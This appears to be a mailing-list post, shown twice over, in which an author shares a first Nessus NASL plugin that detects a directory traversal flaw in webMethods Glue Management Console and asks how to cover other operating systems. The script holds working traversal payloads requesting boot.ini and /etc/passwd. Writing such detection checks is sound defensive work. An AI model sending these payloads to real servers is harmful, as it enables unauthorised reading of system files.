Hi all,
This is my first nasl script, ripped off from another traversal
script. What is the best way to check traversal for different OSes /
different directory depths (../../)? [See the '#res' - multiple
'if's?]. Oh and what is the process of adding to the Nessus Plugin's
branch?
====
#
# This script was written by Patrick Webster <patrick@aushack.com>
# Released under the General Public Licence
#
if(description)
{
script_id(00000); # fix me
script_bugtraq_id(23423);
script_version ("$Revision$");
name["english"] = "webMethods Glue Management Console Directory Traversal";
script_name(english:name["english"]);
desc["english"] = "
The remote host is running webMethods Glue Management Console, a web based
frontend to monitor system resources and publish SOAP services.
The webMethods Glue Management Console includes HTML pages via the
/console?resource=console/index.html variable, which is prone to a classic
traversal attack.
An unauthenticated attacker may exploit this flaw to read arbitrary files on
the remote system with the privileges of the web server.
See also : http://www.aushack.com/advisories/200703-webmethods.txt
Solution : Check www.webmethods.com for updates - eta 1st May 2007.
Risk factor : Medium";
script_description(english:desc["english"]);
summary["english"] = "webMethods Glue Management Console Directory
Traversal";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2007 Patrick
Webster");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 8080);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:8080);
if(!get_port_state(port))exit(0);
req = http_get(item:"/console?resource=../../../../../boot.ini", port:port);
#req = http_get(item:"/console?resource=c:\boot.ini", port:port);
#req = http_get(item:"/console?resource=\boot.ini", port:port);
#req = http_get(item:"/console?resource=/etc/passwd", port:port);
res = http_keepalive_send_recv(port:port, data:req);
if ( res == NULL ) exit(0);
if ("[boot loader]" >< res )
{
security_warning(port);
exit(0);
}
====
It should check *nix responses as well, e.g. /etc/passwd = root:0:0: ...
Thanks in advance,
-Patrick
This is my first nasl script, ripped off from another traversal
script. What is the best way to check traversal for different OSes /
different directory depths (../../)? [See the '#res' - multiple
'if's?]. Oh and what is the process of adding to the Nessus Plugin's
branch?
====
#
# This script was written by Patrick Webster <patrick@aushack.com>
# Released under the General Public Licence
#
if(description)
{
script_id(00000); # fix me
script_bugtraq_id(23423);
script_version ("$Revision$");
name["english"] = "webMethods Glue Management Console Directory Traversal";
script_name(english:name["english"]);
desc["english"] = "
The remote host is running webMethods Glue Management Console, a web based
frontend to monitor system resources and publish SOAP services.
The webMethods Glue Management Console includes HTML pages via the
/console?resource=console/index.html variable, which is prone to a classic
traversal attack.
An unauthenticated attacker may exploit this flaw to read arbitrary files on
the remote system with the privileges of the web server.
See also : http://www.aushack.com/advisories/200703-webmethods.txt
Solution : Check www.webmethods.com for updates - eta 1st May 2007.
Risk factor : Medium";
script_description(english:desc["english"]);
summary["english"] = "webMethods Glue Management Console Directory
Traversal";
script_summary(english:summary["english"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2007 Patrick
Webster");
family["english"] = "CGI abuses";
script_family(english:family["english"]);
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 8080);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:8080);
if(!get_port_state(port))exit(0);
req = http_get(item:"/console?resource=../../../../../boot.ini", port:port);
#req = http_get(item:"/console?resource=c:\boot.ini", port:port);
#req = http_get(item:"/console?resource=\boot.ini", port:port);
#req = http_get(item:"/console?resource=/etc/passwd", port:port);
res = http_keepalive_send_recv(port:port, data:req);
if ( res == NULL ) exit(0);
if ("[boot loader]" >< res )
{
security_warning(port);
exit(0);
}
====
It should check *nix responses as well, e.g. /etc/passwd = root:0:0: ...
Thanks in advance,
-Patrick